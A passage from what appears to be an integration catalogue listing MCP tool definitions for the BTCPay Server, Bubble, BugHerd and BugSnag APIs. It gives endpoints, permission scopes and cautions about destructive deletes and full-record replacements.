/api/v1/btc_pay_server/api/v1/stores/{storeId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_put_api_v1_stores_by_storeid_email (write) — Update a store's email settings. PUT /api/v1/stores/{storeId}/email. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/email. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_put_api_v1_stores_by_storeid_offerings_by_offeringid (write) — Updates an existing offering for the specified store. PUT /api/v1/stores/{storeId}/offerings/{offeringId}. The API key must carry the BTCPay permission `btcpay.store.canmodifyofferings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}. Scopes: btcpay.store.canmodifyofferings. btc_pay_server_put_api_v1_stores_by_storeid_offerings_by_offeringid_plans_by_planid (write) — Updates an existing plan for a specific offering. PUT /api/v1/stores/{storeId}/offerings/{offeringId}/plans/{planId}. The API key must carry the BTCPay permission `btcpay.store.canmodifyofferings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/plans/{planId}. Scopes: btcpay.store.canmodifyofferings. btc_pay_server_put_api_v1_stores_by_storeid_offerings_by_offeringid_subscribers_by_customerselector_dates (write) — Manually overrides the subscription start date and/or expiration date for a subscriber. Omitting a field leaves the corresponding date unchanged. An empty body `{}` is a no-op and returns the subscriber unchanged. When `expirationDate` is provided, the grace period end and reminder date are recalculated automatically from the plan settings. PUT /api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/dates. The API key must carry the BTCPay permission `btcpay.store.canmanagesubscribers`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/dates. Scopes: btcpay.store.canmanagesubscribers. btc_pay_server_put_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid (write) — Update information about the stores' configured payment method. PUT /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_put_api_v1_stores_by_storeid_payout_processors_lightningautomatedpayoutsenderfactory_by_payoutmethodid (write) — Update configured store Lightning automated payout processors. PUT /api/v1/stores/{storeId}/payout-processors/LightningAutomatedPayoutSenderFactory/{payoutMethodId}. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors/LightningAutomatedPayoutSenderFactory/{payoutMethodId}. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_put_api_v1_stores_by_storeid_payout_processors_onchainautomatedpayoutsenderfactory_by_paymentmethodid (write) — Update configured store onchain automated payout processors. PUT /api/v1/stores/{storeId}/payout-processors/OnChainAutomatedPayoutSenderFactory/{paymentMethodId}. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors/OnChainAutomatedPayoutSenderFactory/{paymentMethodId}. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_put_api_v1_stores_by_storeid_payout_processors_onchainautomatedtransfersenderfactory (write) — Update configured store onchain automated payout processors. PUT /api/v1/stores/{storeId}/payout-processors/OnChainAutomatedTransferSenderFactory. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors/OnChainAutomatedTransferSenderFactory. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_put_api_v1_stores_by_storeid_rates_configuration_by_ratesource (write) — Update rate settings for the specified store and rate source (`primary` or `fallback`). PUT /api/v1/stores/{storeId}/rates/configuration/{rateSource}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/rates/configuration/{rateSource}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_put_api_v1_stores_by_storeid_users (write) — Update the role of an existing store user. The user id or email must be provided in the request body. PUT /api/v1/stores/{storeId}/users. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/users. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_put_api_v1_stores_by_storeid_users_by_idoremail (write) — Update the role of an existing store user. PUT /api/v1/stores/{storeId}/users/{idOrEmail}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/stores/{storeId}/users/{idOrEmail}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_put_api_v1_users_me (write) — Update the current user. PUT /api/v1/users/me. The API key must carry the BTCPay permission `btcpay.user.canmodifyprofile`, which is chosen when the key is minted. This is where a BTCPay account's PASSWORD and e-mail change, so `currentPassword` is required to move either. It also carries `allowGreenfieldBasicAuth`, the switch that decides whether this instance accepts an e-mail-and-password HTTP Basic credential at all. Agentic Fabriq never uses that path (see the adapter), and turning it OFF is a sensible hardening step that does not affect this connection. PUT /api/v1/btc_pay_server/api/v1/users/me. Scopes: btcpay.user.canmodifyprofile. btc_pay_server_put_api_v1_users_me_notification_settings (write) — Updates the current user's notification settings. PUT /api/v1/users/me/notification-settings. The API key must carry the BTCPay permission `btcpay.user.canmanagenotificationsforuser`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/users/me/notification-settings. Scopes: btcpay.user.canmanagenotificationsforuser. btc_pay_server_put_api_v1_users_me_notifications_by_id (write) — Updates the notification. PUT /api/v1/users/me/notifications/{id}. The API key must carry the BTCPay permission `btcpay.user.canmanagenotificationsforuser`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/users/me/notifications/{id}. Scopes: btcpay.user.canmanagenotificationsforuser. btc_pay_server_put_api_v1_webhooks_by_webhookid (write) — Update a webhook. PUT /api/v1/webhooks/{webhookId}. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. Sending `secret` here ROTATES it, and every delivery after that is signed with the new value -- a receiver still checking the old one will reject genuine deliveries. Omit the field to leave it alone. PUT /api/v1/btc_pay_server/api/v1/webhooks/{webhookId}. Scopes: btcpay.store.webhooks.canmodifywebhooks. ================================================================================ ## Bubble URL: https://www.agenticfabriq.com/integrations/bubble_io Section: Integrated Tools Bubble — 7 MCP tools Provider key: bubble_io. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bubble_io_delete_obj_by_typename_by_uid (write, destructive) — Delete a thing, via DELETE /api/1.1/obj/{typename}/{uid}. PERMANENT: Bubble's Data API offers no recycle bin and no undo, and the admin token disregards privacy rules, so nothing in the app stops this. Other things that LINK to the deleted one keep a reference that no longer resolves, which is worth checking before deleting a type other types point at. It answers 204 with an EMPTY body, so this reply says nothing about what happened -- confirm by asking for the thing again (404 afterwards) or by listing the type and checking the id is gone. DELETE /api/v1/bubble_io/obj/{typename}/{uid}. Scopes: api. bubble_io_get_obj_by_typename (read) — List things of a type, via GET /api/1.1/obj/{typename}. THIS IS THE LIST AND SEARCH TOOL and it is the only one: Bubble's Data API has no separate search endpoint, so filtering, sorting and paging all happen here. The reply is `{"response": {"results": [...], "cursor", "count", "remaining"}}` -- `count` is how many came back, `remaining` how many are left after them, so page by adding `count` to `cursor` until `remaining` is 0. Bubble returns at most 100 things per call. `constraints` is a STRINGIFIED JSON ARRAY of `{key, constraint_type, value}` objects, ANDed together -- for example `[{"key":"status","constraint_type":"equals","value":"open"}]`. The connection's admin token disregards privacy rules, so this returns every thing of the type rather than what any particular user would see, and every field of it. A type that is not exposed under Settings -> API answers `404 Type not found`. GET /api/v1/bubble_io/obj/{typename}. Scopes: api. bubble_io_get_obj_by_typename_by_uid (read) — Get a thing by its unique id, via GET /api/1.1/obj/{typename}/{uid}. The reply is `{"response": {...}}` carrying `_id`, `Created By`, `Created Date`, `Modified Date` and every data field of that thing. Use 'List things of a type' with a constraint when you have a field value rather than an id -- this route takes Bubble's `_id` and nothing else. An id that does not exist, or a type that is not exposed under Settings -> API, answers 404 with a body naming which; the admin token disregards privacy rules, so a 404 here is about existence rather than permission. GET /api/v1/bubble_io/obj/{typename}/{uid}. Scopes: api. bubble_io_patch_obj_by_typename_by_uid (write) — Change some fields on a thing, via PATCH /api/1.1/obj/{typename}/{uid}. THIS IS THE UPDATE TOOL -- use it rather than 'Replace every field on a thing', which empties everything you do not send. The body is a flat object of field name to value, and the keys should match the spelling a GET returns. Answers 204 with an EMPTY body, so this reply says nothing about the result: confirm with 'Get a thing by its unique id'. Not marked destructive -- the thing survives and only the named fields move -- but it writes to real data with an admin-equivalent token and privacy rules do not apply. PATCH /api/v1/bubble_io/obj/{typename}/{uid}. Scopes: api. bubble_io_post_obj_by_typename (write) — Create a thing, via POST /api/1.1/obj/{typename}. The body is a flat object of field name to value; `_id`, `Created Date` and `Modified Date` are set by Bubble and cannot be overridden, and a field left out takes the default configured on the type. Answers 201 `{"status": "success", "id": "..."}` -- that id is what every other tool here takes as `uid`. Creating a `user` is the special case: `Email` is required and `Password` optional, and this route creates the User WITHOUT returning an authentication token, so it cannot be used to sign anybody in. Use 'Create many things in one call' rather than looping this one for a batch. POST /api/v1/bubble_io/obj/{typename}. Scopes: api. bubble_io_post_obj_by_typename_bulk (write) — Create many things in one call, via POST /api/1.1/obj/{typename}/bulk. THE BODY IS TEXT, NOT JSON: one complete JSON object per LINE, each with no newlines inside it, and the keys and values are exactly what 'Create a thing' takes. It is sent as `text/plain`, which the connector sets -- Bubble does not read this endpoint as JSON. PARTIAL SUCCESS IS THE NORMAL OUTCOME and this is the one thing to get right about it: the reply is one status LINE per input line, in order, each either `{"status":"success","id":"..."}` or an error for that line, and the call as a whole can answer 200 while individual lines failed. Read every line of the reply rather than the status code. Prefer this over looping 'Create a thing' for a batch. POST /api/v1/bubble_io/obj/{typename}/bulk. Scopes: api. bubble_io_put_obj_by_typename_by_uid (write, destructive) — Replace every field on a thing, via PUT /api/1.1/obj/{typename}/{uid}. DESTRUCTIVE, and it is the entry on this provider that surprises people: any field you do NOT give a value is emptied or reset to the type's default. The thing keeps its `_id` and its `Created Date`, and everything else you did not send is gone -- there is no undo and no recycle bin. Use 'Change some fields on a thing' unless you genuinely mean to blank the rest; reach for this only when you hold the complete record. Answers 204 with an EMPTY body, so confirm by reading the thing back. PUT /api/v1/bubble_io/obj/{typename}/{uid}. Scopes: api. ================================================================================ ## BugHerd URL: https://www.agenticfabriq.com/integrations/bugherd Section: Integrated Tools BugHerd — 40 MCP tools Provider key: bugherd. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bugherd_delete_api_v2_projects_by_project_id_columns_by_column_id_json (write, destructive) — Delete Column. DELETE /api_v2/projects/{project_id}/columns/{column_id}.json. Permanently deletes a column. This action cannot be undone. A column cannot be deleted if it contains tasks, or if it is the last column in the project. DELETE /api/v1/bugherd/api_v2/projects/{project_id}/columns/{column_id}.json. Scopes: api. bugherd_delete_api_v2_projects_by_project_id_json (write, destructive) — Delete Project. DELETE /api_v2/projects/{project_id}.json. Permanently deletes the project and all associated data. This action cannot be undone. DELETE /api/v1/bugherd/api_v2/projects/{project_id}.json. Scopes: api. bugherd_delete_api_v2_projects_by_project_id_tasks_by_task_id_attachments_by_attachment_id_json (write, destructive) — Delete Attachment. DELETE /api_v2/projects/{project_id}/tasks/{task_id}/attachments/{attachment_id}.json. Permanently removes the attachment. This action cannot be undone. DELETE /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}/attachments/{attachment_id}.json. Scopes: api. bugherd_delete_api_v2_projects_by_project_id_tasks_by_task_id_comments_by_comment_id_json (write, destructive) — Delete Comment. DELETE /api_v2/projects/{project_id}/tasks/{task_id}/comments/{comment_id}.json. Permanently deletes a comment. This action cannot be undone. DELETE /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}/comments/{comment_id}.json. Scopes: api. bugherd_delete_api_v2_projects_by_project_id_tasks_by_task_id_json (write, destructive) — Delete task. DELETE /api_v2/projects/{project_id}/tasks/{task_id}.json. Permanently deletes the task. This action cannot be undone. DELETE /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}.json. Scopes: api. bugherd_delete_api_v2_webhooks_by_webhook_id_json (write, destructive) — Delete Webhook. DELETE /api_v2/webhooks/{webhook_id}.json. Removes a webhook subscription. BugHerd will stop sending events to the target URL immediately. DELETE /api/v1/bugherd/api_v2/webhooks/{webhook_id}.json. Scopes: api. bugherd_get_api_v2_organization_json (read) — Show Organization. GET /api_v2/organization.json. Returns top-level details about your BugHerd organization, including its name and ID. GET /api/v1/bugherd/api_v2/organization.json. Scopes: api. bugherd_get_api_v2_projects_active_json (read) — List Active Projects. GET /api_v2/projects/active.json. Returns only active projects. This is a convenience shortcut equivalent to filtering the List Projects endpoint by active status. GET /api/v1/bugherd/api_v2/projects/active.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_columns_by_column_id_json (read) — Show Column. GET /api_v2/projects/{project_id}/columns/{column_id}.json. Returns one taskboard column of a project -- its id, name, owning project and the number of tasks currently in it. BugHerd's own document leaves this operation undescribed; the sentence is authored from its declared 200 response (a single `column` object) and from the list sibling, `GET /api_v2/projects/{project_id}/columns.json`. GET /api/v1/bugherd/api_v2/projects/{project_id}/columns/{column_id}.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_columns_json (read) — List Columns. GET /api_v2/projects/{project_id}/columns.json. Returns all kanban columns for a project. Includes both built-in columns (backlog, todo, doing, done) and any custom columns. > **Known issue:** The `tasks_count` field may return incorrect values (including negative numbers) for some columns. GET /api/v1/bugherd/api_v2/projects/{project_id}/columns.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_json (read) — Show Project. GET /api_v2/projects/{project_id}.json. Returns full details for a single project, including its members, guests, and column configuration. GET /api/v1/bugherd/api_v2/projects/{project_id}.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_local_tasks_by_local_task_id_json (read) — Show Task by Local ID. GET /api_v2/projects/{project_id}/local_tasks/{local_task_id}.json. Returns a task by its project-scoped local ID (the `#number` shown in the BugHerd UI). This is useful when you have the task number from a URL like `/projects/123/tasks/42`. GET /api/v1/bugherd/api_v2/projects/{project_id}/local_tasks/{local_task_id}.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_tasks_archive_json (read) — List Archived Tasks. GET /api_v2/projects/{project_id}/tasks/archive.json. Returns tasks that have been closed or archived in a project. These tasks no longer appear on the active taskboard. GET /api/v1/bugherd/api_v2/projects/{project_id}/tasks/archive.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_tasks_by_task_id_attachments_by_attachment_id_json (read) — Show Attachment. GET /api_v2/projects/{project_id}/tasks/{task_id}/attachments/{attachment_id}.json. Returns one attachment on a task -- its id, file name, content type, size and download URL. BugHerd's own document leaves this operation undescribed; the sentence is authored from its declared 200 response (a single `attachment` object) and from the list sibling, `GET /api_v2/projects/{project_id}/tasks/{task_id}/attachments.json`. GET /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}/attachments/{attachment_id}.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_tasks_by_task_id_attachments_json (read) — List Attachments. GET /api_v2/projects/{project_id}/tasks/{task_id}/attachments.json. Returns all file attachments on a task. GET /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}/attachments.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_tasks_by_task_id_comments_json (read) — List Comments. GET /api_v2/projects/{project_id}/tasks/{task_id}/comments.json. Returns all comments on a task. GET /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}/comments.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_tasks_by_task_id_json (read) — Show Task. GET /api_v2/projects/{project_id}/tasks/{task_id}.json. Returns full details for a single task within a project. Returns complete task details including metadata, browser info, and screenshot data. GET /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_tasks_feedback_json (read) — List Feedback Tasks. GET /api_v2/projects/{project_id}/tasks/feedback.json. Returns only tasks in the backlog (feedback) column for a project. Use this to review unprocessed bug reports and feedback. GET /api/v1/bugherd/api_v2/projects/{project_id}/tasks/feedback.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_tasks_json (read) — List Tasks. GET /api_v2/projects/{project_id}/tasks.json. Returns tasks for a project. Supports filtering by status, priority, tag, assignee, external ID, and date range. GET /api/v1/bugherd/api_v2/projects/{project_id}/tasks.json. Scopes: api. bugherd_get_api_v2_projects_by_project_id_tasks_taskboard_json (read) — List Taskboard Tasks. GET /api_v2/projects/{project_id}/tasks/taskboard.json. Returns all active (non-archived) tasks for a project, mirroring what appears on the taskboard in the BugHerd UI. GET /api/v1/bugherd/api_v2/projects/{project_id}/tasks/taskboard.json. Scopes: api. bugherd_get_api_v2_projects_json (read) — List Projects. GET /api_v2/projects.json. Returns all projects in your organization, including both active and inactive projects. GET /api/v1/bugherd/api_v2/projects.json. Scopes: api. bugherd_get_api_v2_tasks_by_task_id_json (read) — Show Task (Global). GET /api_v2/tasks/{task_id}.json. Returns a task by its globally unique ID. Use this when you have a task ID but not the project ID. GET /api/v1/bugherd/api_v2/tasks/{task_id}.json. Scopes: api. bugherd_get_api_v2_users_by_user_id_projects_json (read) — List User Projects. GET /api_v2/users/{user_id}/projects.json. Returns all projects that a specific user belongs to. Use `is_active` to filter by project status. GET /api/v1/bugherd/api_v2/users/{user_id}/projects.json. Scopes: api. bugherd_get_api_v2_users_by_user_id_tasks_json (read) — List User Tasks. GET /api_v2/users/{user_id}/tasks.json. Returns all tasks assigned to a specific user across all projects. Supports filtering by date, priority, tag, and assignee. GET /api/v1/bugherd/api_v2/users/{user_id}/tasks.json. Scopes: api. bugherd_get_api_v2_users_guests_json (read) — List Guests. GET /api_v2/users/guests.json. Returns all guest users across your organization. Guests are external collaborators who have been invited to specific projects. GET /api/v1/bugherd/api_v2/users/guests.json. Scopes: api. bugherd_get_api_v2_users_json (read) — List Users. GET /api_v2/users.json. Returns all users (both team members and guests) in your organization. Use `updated_since` to retrieve only recently changed records. GET /api/v1/bugherd/api_v2/users.json. Scopes: api. bugherd_get_api_v2_users_members_json (read) — List Members. GET /api_v2/users/members.json. Returns only team members (non-guest users) in your organization. GET /api/v1/bugherd/api_v2/users/members.json. Scopes: api. bugherd_get_api_v2_webhooks_json (read) — List Webhooks. GET /api_v2/webhooks.json. Returns all webhooks configured for your organization. Use this to verify which events are being monitored. Includes delivery statistics and error details. GET /api/v1/bugherd/api_v2/webhooks.json. Scopes: api. bugherd_post_api_v2_projects_by_project_id_add_guest_json (write) — Add Guest to Project. POST /api_v2/projects/{project_id}/add_guest.json. Adds a guest to a project. Provide either a `user_id` for an existing user or an `email` to send a new invitation. POST /api/v1/bugherd/api_v2/projects/{project_id}/add_guest.json. Scopes: api. bugherd_post_api_v2_projects_by_project_id_add_member_json (write) — Add Member to Project. POST /api_v2/projects/{project_id}/add_member.json. Adds one or more existing organization members to a project. The user must already belong to your organization. POST /api/v1/bugherd/api_v2/projects/{project_id}/add_member.json. Scopes: api. bugherd_post_api_v2_projects_by_project_id_columns_json (write) — Create Column. POST /api_v2/projects/{project_id}/columns.json. Creates a new custom kanban column in a project. The column is appended to the end of the board. POST /api/v1/bugherd/api_v2/projects/{project_id}/columns.json. Scopes: api. bugherd_post_api_v2_projects_by_project_id_move_tasks_json (write) — Move Tasks. POST /api_v2/projects/{project_id}/move_tasks.json. Moves one or more tasks from the current project to a different destination project. Task IDs remain the same after the move. **Important:** `task_ids` must contain `local_task_id` values (the project-scoped task number), NOT the globally unique task ID. > **Note:** This endpoint is documented in the BugHerd API but may not be available for all accounts. If you receive a 404 response, contact BugHerd support. POST /api/v1/bugherd/api_v2/projects/{project_id}/move_tasks.json. Scopes: api. bugherd_post_api_v2_projects_by_project_id_tasks_by_task_id_attachments_json (write) — Create Attachment (from URL). POST /api_v2/projects/{project_id}/tasks/{task_id}/attachments.json. Attaches a file to a task by providing a publicly accessible URL. BugHerd downloads the file from the URL and stores a copy. For direct file uploads, use the Upload Attachment endpoint instead. POST /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}/attachments.json. Scopes: api. bugherd_post_api_v2_projects_by_project_id_tasks_by_task_id_comments_json (write) — Create Comment. POST /api_v2/projects/{project_id}/tasks/{task_id}/comments.json. Adds a comment to a task. Identify the commenter by `user_id` or `email`. **Visibility:** Set `is_private: true` to make the comment visible to team members only, not guests/clients. POST /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}/comments.json. Scopes: api. bugherd_post_api_v2_projects_by_project_id_tasks_json (write) — Create Task. POST /api_v2/projects/{project_id}/tasks.json. Creates a new task in a project. **Requester and assignee:** The requester and assignee can each be specified by user ID or email address. - `assigned_to_email` - the user must be a current project member - `requester_email` - accepts any email address **Status:** Omitting the `status` field or setting it to `null` sends the task to the Feedback panel. POST /api/v1/bugherd/api_v2/projects/{project_id}/tasks.json. Scopes: api. bugherd_post_api_v2_projects_json (write) — Create Project. POST /api_v2/projects.json. Creates a new project. The project starts with no members or guests -- use the Add Member and Add Guest endpoints to populate the team. POST /api/v1/bugherd/api_v2/projects.json. Scopes: api. bugherd_post_api_v2_webhooks_json (write) — Create Webhook. POST /api_v2/webhooks.json. Creates a new webhook subscription. When the specified event occurs, BugHerd sends a POST request to your `target_url` with the relevant payload. **Supported events:** `project_create`, `task_create`, `task_update`, `comment`, `task_destroy`. Create separate webhook entries for each event type you want to monitor. **Project scope:** Omit `project_id` to receive events for all projects. **Auto-removal:** A `410 Gone` response from your target URL will cause BugHerd to automatically remove the webhook. POST /api/v1/bugherd/api_v2/webhooks.json. Scopes: api. bugherd_put_api_v2_projects_by_project_id_columns_by_column_id_json (write) — Update Column. PUT /api_v2/projects/{project_id}/columns/{column_id}.json. Updates a custom column's name. PUT /api/v1/bugherd/api_v2/projects/{project_id}/columns/{column_id}.json. Scopes: api. bugherd_put_api_v2_projects_by_project_id_json (write) — Update Project. PUT /api_v2/projects/{project_id}.json. Updates a project's settings. Only include the fields you want to change. PUT /api/v1/bugherd/api_v2/projects/{project_id}.json. Scopes: api. bugherd_put_api_v2_projects_by_project_id_tasks_by_task_id_json (write) — Update Task. PUT /api_v2/projects/{project_id}/tasks/{task_id}.json. Updates one or more fields on a task. Only include the fields you want to change. **Unassigning users:** - Set `assigned_to_id` to `null` to unassign all users - Use `unassign_user` with a user ID to remove a specific user **Moving tasks between columns:** - Set `status` to a column name (e.g. `todo`, `doing`, or a custom column name) - Set `status` to `feedback` to return the task to the Feedback panel **Audit trail:** Include `updater_email` to attribute the change to a specific user. This is for audit purposes only - permissions are not enforced via the API. PUT /api/v1/bugherd/api_v2/projects/{project_id}/tasks/{task_id}.json. Scopes: api. ================================================================================ ## BugSnag (SmartBear Insight Hub) URL: https://www.agenticfabriq.com/integrations/bugsnag Section: Integrated Tools BugSnag (SmartBear Insight Hub) — 141 MCP tools Provider key: bugsnag. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bugsnag_delete_comments_by_comment_id (write, destructive) — Delete a Comment via DELETE /comments/{comment_id} DELETE /api/v1/bugsnag/comments/{comment_id}. Scopes: api. bugsnag_delete_configured_integrations_by_id (write, destructive) — Delete a Configured Integration via DELETE /configured_integrations/{id} DELETE /api/v1/bugsnag/configured_integrations/{id}. Scopes: api. bugsnag_delete_organizations_by_id (write, destructive) — Delete an Organization via DELETE /organizations/{id} DELETE /api/v1/bugsnag/organizations/{id}. Scopes: api. bugsnag_delete_organizations_by_id_api_key (write, destructive) — Regenerate an Organization's API key via DELETE /organizations/{id}/api_key DELETE /api/v1/bugsnag/organizations/{id}/api_key. Scopes: api. bugsnag_delete_organizations_by_id_auth_token (write, destructive) — Regenerate an Organization's auth token via DELETE /organizations/{id}/auth_token DELETE /api/v1/bugsnag/organizations/{id}/auth_token. Scopes: api. bugsnag_delete_organizations_by_organization_id_collaborators_by_id (write, destructive) — Delete a Collaborator via DELETE /organizations/{organization_id}/collaborators/{id} DELETE /api/v1/bugsnag/organizations/{organization_id}/collaborators/{id}. Scopes: api. bugsnag_delete_organizations_by_organization_id_collaborators_by_id_team_memberships (write, destructive) — Remove a Collaborator from a group of Teams via DELETE /organizations/{organization_id}/collaborators/{id}/team_memberships DELETE /api/v1/bugsnag/organizations/{organization_id}/collaborators/{id}/team_memberships. Scopes: api. bugsnag_delete_organizations_by_organization_id_scim_v2_groups_by_id (write, destructive) — Delete Group on an Organization via DELETE /organizations/{organization_id}/scim/v2/Groups/{id} DELETE /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Groups/{id}. Scopes: api. bugsnag_delete_organizations_by_organization_id_scim_v2_users_by_id (write, destructive) — Remove a Collaborator via DELETE /organizations/{organization_id}/scim/v2/Users/{id} DELETE /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Users/{id}. Scopes: api. bugsnag_delete_organizations_by_organization_id_teams_by_id (write, destructive) — Delete a team via DELETE /organizations/{organization_id}/teams/{id} DELETE /api/v1/bugsnag/organizations/{organization_id}/teams/{id}. Scopes: api. bugsnag_delete_organizations_by_organization_id_teams_by_id_project_accesses (write, destructive) — Remove Project Access from a Team via DELETE /organizations/{organization_id}/teams/{id}/project_accesses DELETE /api/v1/bugsnag/organizations/{organization_id}/teams/{id}/project_accesses. Scopes: api. bugsnag_delete_organizations_by_organization_id_teams_by_id_team_memberships (write, destructive) — Remove Collaborators from a Team via DELETE /organizations/{organization_id}/teams/{id}/team_memberships DELETE /api/v1/bugsnag/organizations/{organization_id}/teams/{id}/team_memberships. Scopes: api. bugsnag_delete_projects_by_project_id (write, destructive) — Delete a Project via DELETE /projects/{project_id} DELETE /api/v1/bugsnag/projects/{project_id}. Scopes: api. bugsnag_delete_projects_by_project_id_api_key (write, destructive) — Regenerate a Project's notifier API key via DELETE /projects/{project_id}/api_key DELETE /api/v1/bugsnag/projects/{project_id}/api_key. Scopes: api. bugsnag_delete_projects_by_project_id_errors (write, destructive) — Delete all Errors in a Project via DELETE /projects/{project_id}/errors DELETE /api/v1/bugsnag/projects/{project_id}/errors. Scopes: api. bugsnag_delete_projects_by_project_id_errors_by_error_id (write, destructive) — Delete an Error via DELETE /projects/{project_id}/errors/{error_id} DELETE /api/v1/bugsnag/projects/{project_id}/errors/{error_id}. Scopes: api. bugsnag_delete_projects_by_project_id_event_fields_by_display_id (write, destructive) — Delete a custom Event Field via DELETE /projects/{project_id}/event_fields/{display_id} DELETE /api/v1/bugsnag/projects/{project_id}/event_fields/{display_id}. Scopes: api. bugsnag_delete_projects_by_project_id_events_by_event_id (write, destructive) — Delete an Event via DELETE /projects/{project_id}/events/{event_id} DELETE /api/v1/bugsnag/projects/{project_id}/events/{event_id}. Scopes: api. bugsnag_delete_projects_by_project_id_feature_flags_by_id (write, destructive) — Delete a Feature Flag via DELETE /projects/{project_id}/feature_flags/{id} DELETE /api/v1/bugsnag/projects/{project_id}/feature_flags/{id}. Scopes: api. bugsnag_delete_projects_by_project_id_upload_api_key (write, destructive) — Regenerate a Project's upload API key via DELETE /projects/{project_id}/upload_api_key DELETE /api/v1/bugsnag/projects/{project_id}/upload_api_key. Scopes: api. bugsnag_delete_saved_searches_by_id (write, destructive) — Delete a Saved Search via DELETE /saved_searches/{id} DELETE /api/v1/bugsnag/saved_searches/{id}. Scopes: api. bugsnag_delete_user_projects_by_project_id_starred_feature_flags_by_id (write, destructive) — Unstar a Feature Flag via DELETE /user/projects/{project_id}/starred_feature_flags/{id} DELETE /api/v1/bugsnag/user/projects/{project_id}/starred_feature_flags/{id}. Scopes: api. bugsnag_get_configured_integrations_by_id (read) — Get a Configured Integration via GET /configured_integrations/{id} GET /api/v1/bugsnag/configured_integrations/{id}. Scopes: api. bugsnag_get_errors_by_error_id_latest_event (read) — View the latest Event on an Error via GET /errors/{error_id}/latest_event GET /api/v1/bugsnag/errors/{error_id}/latest_event. Scopes: api. bugsnag_get_integrations (read) — List the supported Integrations via GET /integrations GET /api/v1/bugsnag/integrations. Scopes: api. bugsnag_get_organizations_by_id (read) — View an Organization via GET /organizations/{id} GET /api/v1/bugsnag/organizations/{id}. Scopes: api. 